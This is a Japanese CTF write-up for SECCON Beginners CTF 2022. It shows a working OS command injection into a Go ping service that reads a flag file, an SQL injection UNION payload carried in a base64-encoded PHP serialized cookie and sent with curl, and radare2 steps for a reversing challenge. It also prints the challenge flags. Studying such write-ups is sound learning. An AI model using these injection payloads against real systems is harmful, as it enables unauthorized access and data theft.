概要
2022/6/4 (土) 14:00 JST から 2022/6/5 (日) 14:00 JST まで実施されたSECCON Beginners CTF 2022のWriteUp記事です。
なお、まだしばらくはサーバーにアクセスできるようです。
復習に使用させていただきます。
数問しか解けていませんが、主にWEB問題を中心に、解けた問題、および解けそうだった問題や復習できた問題について記載します。
結果
今回も1マンチームで参加し、
最終結果は、154 ptsで503 / 891位でした。
(言い訳)CTFが久しぶりだったのせいなのか、というかBlindSQLiをずっとやってたら24時間があっという間に解けました・・・・3問しか時間内に解けてませんでした・・・精進します。
環境
Windows + Kalilinux
プログラムはすべてPython3
Welcom
公式DisdcodeサーバーにWelcome!
Web
Util
ctf4b networks社のネットワーク製品にはとっても便利な機能があるみたいです! でも便利すぎて不安かも...?
(注意) SECCON Beginners運営が管理しているサーバー以外への攻撃を防ぐために外部への接続が制限されています。
https://util.quals.beginners.seccon.jp
util.tar.gz 95a1abb627b8b2342fae9f10680d599730604a1e
https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/Util/util.tar.gz
完答できた問題その1。
指定されたURLへアクセスすると、入力したIPアドレスを元にpingを投げてくれるサービスが稼働している。
OSコマンドインジェクションっぽいので、とりあえず8.8.8.8;ls
を投げてみたけどダメ。
main.g
の以下の箇所でそもそも弾かれてしまう。
r.POST("/util/ping", func(c *gin.Context) {
var param IP
if err := c.Bind(¶m); err != nil {
c.JSON(400, gin.H{"message": "Invalid parameter"})
return
}
commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()
c.JSON(200, gin.H{
"result": string(result),
})
})
という訳で、上記の処理の直前にブレークポイントを張っておき、最初は通常のIPアドレスの形式で処理を実行。
チェック処理完了後にOSコマンドインジェクションとなるペイロードを送信する。
あとはOSコマンドインジェクションでフラグファイルを探索。直上の階層にフラグがありました。
PING 255.255.255.255 (255.255.255.255): 56 data bytes
--- 255.255.255.255 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
total 72
drwxr-xr-x 1 root root 4096 Jun 3 17:05 .
drwxr-xr-x 1 root root 4096 Jun 3 17:05 ..
-rwxr-xr-x 1 root root 0 Jun 3 17:05 .dockerenv
drwxr-xr-x 1 root root 4096 Jun 3 14:13 app
drwxr-xr-x 2 root root 4096 Apr 4 16:07 bin
drwxr-xr-x 5 root root 340 Jun 4 06:13 dev
drwxr-xr-x 1 root root 4096 Jun 3 17:05 etc
-rw-r--r-- 1 root root 25 Jun 3 14:13 flag_A74FIBkN9sELAjOc.txt
drwxr-xr-x 2 root root 4096 Apr 4 16:07 home
drwxr-xr-x 7 root root 4096 Apr 4 16:07 lib
drwxr-xr-x 5 root root 4096 Apr 4 16:07 media
drwxr-xr-x 2 root root 4096 Apr 4 16:07 mnt
drwxr-xr-x 2 root root 4096 Apr 4 16:07 opt
dr-xr-xr-x 166 root root 0 Jun 4 06:13 proc
drwx------ 2 root root 4096 Apr 4 16:07 root
drwxr-xr-x 2 root root 4096 Apr 4 16:07 run
drwxr-xr-x 2 root root 4096 Apr 4 16:07 sbin
drwxr-xr-x 2 root root 4096 Apr 4 16:07 srv
dr-xr-xr-x 13 root root 0 Jun 4 06:13 sys
drwx-wx-wt 1 root root 4096 Apr 4 16:07 tmp
drwxr-xr-x 7 root root 4096 Apr 4 16:07 usr
drwxr-xr-x 1 root root 4096 Apr 4 16:07 var
255.255.255.255;cat ../flag_A74FIBkN9sELAjOc.txt
PING 255.255.255.255 (255.255.255.255): 56 data bytes
--- 255.255.255.255 ping statistics ---
1 packets transmitted, 0 packets received, 100% packet loss
ctf4b{al1_0vers_4re_i1l}
serial
フラッグは flags テーブルの中にあるよ。ゲットできるかな?
https://serial.quals.beginners.seccon.jp
serial.tar.gz 4fc156278675123824c73e65d65496e9a8aa1cf1
https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/serial/serial.tar.gz
この問題でひたすら手作業(!?)でBlindSQLiしてたら時間がドロドロに解けてました。時間は有限ですのよ・・・・
時間内に回答できなかったので、自分の解法も合わせて記載します。
本問題では単純なログイン画面、およびTODOリストが登録できる簡易的なシステムが準備されていました。
ソースを読んでいると、あからさまなSQLiのインジェクションの箇所を発見。コメントでも記載してありました。(やさしい!)
/**
* findUserByName finds a user from database by given userId.
*
* @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
*/
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
throw new Exception('failed query for findUserByNameOld ' . $sql);
}
while ($row = $result->fetch_assoc()) {
$user = new User($row['id'], $row['name'], $row['password_hash']);
}
return $user;
}
確かにプレースホルダも使ってないし、SQLi起せそう。
さらに上記のfindUserByName
が使用されている箇所周辺を中心にソースを追っていくと、setcookie("__CRED", base64_encode(serialize($user)));
で、ログイン情報としてクッキーにシリアライズしたユーザー情報を設定している事が分かる。
よって、上記のソースを元にインジェクションするペイロードをname
に設定したユーザー情報をシリアライズして渡せばよい。
敗因
piyo' or 1=1 union select body,body,3 from flags where body regexp '^ctf4b{%}$';--
なお、sleep
を入れる事で、BlindSQLとして上記ソースのregexp
句の文字列を探す事もできる。
O:4:"User":3:{s:2:"id";s:4:"4458";s:4:"name";s:83:"piyo' or 1=1 union select body,body,3 from flags where body regexp '^ctf4b{%}$';-- ";s:13:"password_hash";s:60:"$2y$10$eDNgcu8WsAeD2EM0DYxxGewcEgfyjHEq5DNbAnuoace86ngoriaXC";}
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjQ0NTgiO3M6NDoibmFtZSI7czo4MzoicGl5bycgb3IgMT0xIHVuaW9uIHNlbGVjdCBib2R5LGJvZHksMyBmcm9tIGZsYWdzIHdoZXJlIGJvZHkgcmVnZXhwICdeY3RmNGJ7JX0kJzstLSAiO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCRlRE5nY3U4V3NBZUQyRU0wRFl4eEdld2NFZ2Z5akhFcTVETmJBbnVvYWNlODZuZ29yaWFYQyI7fQ==
curl -vv -b '__CRED=Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjUiO3M6NDoibmFtZSI7czo0ODoiJyBVTklPTiBTRUxFQ1QgYm9keSwgYm9keSwgImhvZ2UiIEZST00gZmxhZ3M7LS0gIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjQ6ImhvZ2UiO303Li4u' https://serial.quals.beginners.seccon.jp
シリアライズ前のデータを作る際に、文字数に注意!
特に、;--
の半角スペースを数えてない時があったので注意が必要。
reversing
Quiz
クイズに答えよう!
quiz.tar.gz a7f225b59176baa3d888c6fc7452f8df9a58e204
https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/Quiz/quiz.tar.gz
Raderで読み込ませたらすぐ終わりました。
実行したコマンドは、aa
,aac
,pdf @ main
のみ
今後の課題
- Docker環境をホスト、もしくはゲストマシンに用意する。特に今回のようにDocker環境でソースが提示されている場合には、ローカルで動かした方が早く解決策が見付けられる。
- いい加減にkali linuxにVSCode入れよう。目Grepで見逃してる事多い。
- Cryptはまず数式と睨めっこしよう。元数学科じゃなかったのか?
- 過去問を調べたり、復習する。
他の方のWriteUp
復習用。独断と偏見で特に有用と感じたWriteUpを載せておきます。
とても分かり易い解説配信でした。
作問者WriteUp
WEB